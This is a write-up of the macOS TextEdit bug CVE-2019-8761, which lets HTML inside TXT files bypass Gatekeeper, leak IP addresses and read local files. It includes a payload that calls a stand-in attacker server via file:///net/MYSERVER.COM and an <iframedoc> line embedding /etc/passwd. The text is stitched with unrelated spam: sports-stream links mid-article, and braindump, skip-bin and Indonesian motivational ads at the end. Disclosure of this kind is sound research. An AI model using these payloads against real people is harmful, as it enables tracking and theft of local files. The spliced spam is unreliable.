This man thought opening a TXT file is fine, he thought wrong
Sorry for the clickbaity title, but CVE-2019-8761 really is an interesting macOS bug that lets attackers execute HTML within a TXT file, leak files, and do all sorts of other funky things.
This research originated when I realized the default text reader on OSX, TextEdit is used to open files with TXT extension by default. On the interface of TextEdit, it looked like you can do basic customization to your text (you can turn text bold, italic, change color etc...), so I was wondering how a TXT file was storing and parsing this information. It seems it uses RTF format instead of TXT if we add customizations to the text.
A TXT file is a very interesting attack vector in my opinion, because of its innocent nature that carries nothing but text. however, we have previously seen memory corruption bugs leading to RCE by Tavis Ormary in Microsoft Notepad. TXT files are also assumed by anti-virus software, firewalls, and even Mac's own Gatekeeper as safe downloads that can't possibly be malicious.
After some quick back and forth testing between files, I quickly realized that TextEdit can be tricked into thinking the file opened is an RTF-HTML file even when the file extension is TXT. The ability to inject HTML into a TXT file obviously opened lots of potential attack vectors.
https://www.alpineontario.ca/advert/boxing-frampton-vs-herring-2021-live-stream-full-fight-free/
https://www.alpineontario.ca/advert/acc-spring-clemson-spring-football-game-2021-live-stream-free/
http://www.maltapianos.com/advert/freetvclemson-spring-football-game-2021-live-stream-free/
https://www.deviantart.com/jhhyuuy/journal/This-man-thought-opening-a-TXT-file-is-fine-he-t-875227104
https://blog.goo.ne.jp/liveindax/e/37d6781bf70c8597ae25160a9d7345ea
https://paiza.io/projects/nyQR_IKRwAZP7t8UeeaZNg
https://caribbeanfever.com/photo/albums/sa-sdasd-asd
https://ameblo.jp/sdfsdf04/entry-12666449062.html
If a .TXT file started with the following bytes:
<!DOCTYPE HTML><html><head></head><body>
It seems TextEdit for some reason thought it should parse the HTML even while the file format was TXT. So we can inject a bunch of limited HTML into a text file, now what?
Bypassing Quarantine/Gatekeeper and Leaking IP address.
One of the first bugs I discovered using this showed me that Gatekeeper doesn’t quarantine TXT files even if they were downloaded from a suspicious website. For example, I found a TXT file force-downloaded from Tor browser, when opened can bypass Gatekeeper and leak the real IP address of the victim without any warning. This wasn’t very straightforward though.
I first tried to see how much of the HTML is parsed and interpreted by TextEdit. It seems there was very limited parsing and many of the interesting HTML attributes were not available. I then went ahead and got the awesome Cure53's project HTTPLeaks, which is a wonderful file to discover if an HTML/CSS attribute leaks data to a third party.
I replaced all the URLs in the HTTPLeaks attributes with a server I control and saved it as TXT to see if the TXT file made a request to my server. It didn't. After some fuzzing, I found two interesting CSS and HTML attributes that got some sort of weird response from local files.
while fuzzing different schemes, I found out the CSS property
<style> @import { "url "} </style>
was allowed to load local CSS files. However, the only scheme that worked was file:/// and not even http/s://. While this means we can't make external requests, it also means we can hit or open other local files that are stored locally. This creates a very obvious DOS vulnerability that acts like a blind SSRF by writing a recursive file inclusion or, reading files with infinite data streams like /dev/urandom, /dev/zero. a 2kb text file can crash your mac. COOL, but completely useless.
After digging into OSX internals, I came across the AutoMount feature that lets file:/// urls make remote requests. AutoFS is a program on OSX that uses the kernel to make a mounting request to a drive. Automount can also make remote requests to an external drive. Doing 'ls /net/EXAMPLE.com' forces OSX send a remote request to EXAMPLE.com
While they did a good job blocking TextEdit from making external requests, this was the one thing they forgot when they allowed file:/// scheme, on OSX file:///net/11.22.33.44/a.css connects to 11.22.33.44.
When the victim opens a .TXT file with the following contents
<!DOCTYPE HTML>
<html><head></head><body><style>@import{ "file:///net/MYSERVER.COM/a.css"} </style>
I know where you are...</body></html>
This is what they see:
[Pin on Pinterest]
But on the attacker side we get a hit:
[Pin on Pinterest]
So I will know when you opened the TXT file I sent you. Not only that, but apparently AutoMount uses the kernel to make TCP connections so even if you were using a proxy, it was leaking your real IP address. I found another browser trick that lets force-downloaded TXT files to be opened without user interaction or warning (since Gatekeeper doesn't exist for TXT) leaking IP straight out of Tor browser.
Leaking IP Addresses and knowing when your TXT file is open is cool n all, but what else can we do? It seems a lot worse!
Stealing Local Files using Dangling Markup
Interestingly the only other HTML attribute that loaded local files was <iframedoc>
It turns out an attacker can embed local files using the <iframedoc src="file:///etc/passwd"> and look at their contents within the TXT file.
I will not leave a PoC for this chapter but I promise you, it will not be that difficult to figure out after reading the above two parts. While we can embed/open local files, we still can't execute javascript so it might seem like there is no way to send them out at first glance. But this is where dangling markup comes in.
Dangling Markup attacks are nice browser tricks that serve as scriptless attacks to leak data when dynamic scripting is disabled. For example, they can often be used to steal anti-CSRF tokens in cases where CSP stops javascript execution.
By combining the <style> CSS attribute with the <iframedoc> attribute, an attacker can first include an unclosed style tag, embed the contents of the file they want to steal and then leak the content as dangling parameters to their evil site as soon as the file is open.
This vulnerability was reported to Apple in Dec 2019, and it got patched somewhere in 2020. I don’t know why a CVE-2019 ID is given. Given how simple it is to exploit, I’d give it a high CVSS.
Kata Kata Semangat Hidup dan Motivasi Suksess
- Masalah harus diselesaikan dengan kepala dingin agar masalah terselesaikan dengan baik, janganlah Anda menjadi seseorang yang tidak bertanggung jawab
Real "2020" S90.01 Questions & Answers | Updated Braindumps
- Everyone wants to pass the exam in first try. Visit CertsAdvice website for an easy preparation of your exam
Skip Bin hire Darra in Australia
- If you are looking for a rubbish removal skip bin hire Darra service to clean up, remove, and dispose of your unwanted rubbish, look no further